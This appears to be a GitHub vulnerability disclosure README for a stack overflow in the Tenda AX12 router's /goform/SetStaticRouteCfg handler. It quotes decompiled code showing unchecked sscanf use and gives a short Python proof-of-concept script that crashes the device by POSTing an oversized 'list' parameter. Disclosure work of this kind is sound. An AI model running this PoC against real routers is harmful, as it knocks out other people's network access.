sec-bin Update poc ... on Feb 9 History

..	
image	10 months ago
README.md	10 months ago
README_zh.md	10 months ago

README.md

Affect device: Tenda-AX12 V22.03.01.21_CN(https://www.tenda.com.cn/download/detail-3237.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

Vulnerability description

This vulnerability lies in the `/goform/SetStaticRouteCfg` page which influences the lastest version of Tenda-AX12 V22.03.01.21_CN(https://www.tenda.com.cn/download/detail-3237.html)

There is a stack overflow vulnerability in the `sub_42E328` function.

First, this function calls the `sub_42E030` function.

```
 8  v3[3] = 0;
 9  blob_buf_init((int)v3, 0);
10  sub_42E030((int)a1, (int)v3);
11  tapi_set_route(v3[0]);
12  blob_buf_free(v3);
13  sub_415368((int)a1, (int)"HTTP/1.0 200 OK\r\n
14  sub_415368((int)a1, (int)"{\"errCode\":%d}");
```

In the `sub_42E030` function:

```
42  v3 = WebGetVar(a1, (int)"list", "");
43  printf("get_route_info_wp list:%s\n", v3);
44  if ( (unsigned int)strlen(v3) < 5 )
45    return -1;
46  while ( 1 )
47  {
48    v4 = (_BYTE *)strchr(v3, 126);
49    v5 = v20;
50    v6 = v19;
51    if ( !v4 )
52      break;
53    *v4 = 0;
54    v13 = v4 + 1;
55    if ( sscanf(v3, "%[^,],%[^,],%[^,],%s", v16, v18, v19, v20) == 4 )
56    {
57      sub_42DFC8(v16, v18, v17);
58      v14 = blob_nest_start(a2, 0);
```

The `v3` variable is obtained directly from the http request parameter `list` .

Then `v3` will be splice to stack by function `sscanf` without any security check, which causes stack overflow.

So by POSTing the page `/goform/SetStaticRouteCfg` with long `list` , the attacker can easily perform a Denial of Service(DoS).

POC

Poc of Denial of Service(DoS):

```
import requests

url = "http://192.168.0.1/goform/SetStaticRouteCfg"
list_data = 'a'*0x1000 + '~'

r = requests.post(url, data={'list': list_data})
print(r.content)
```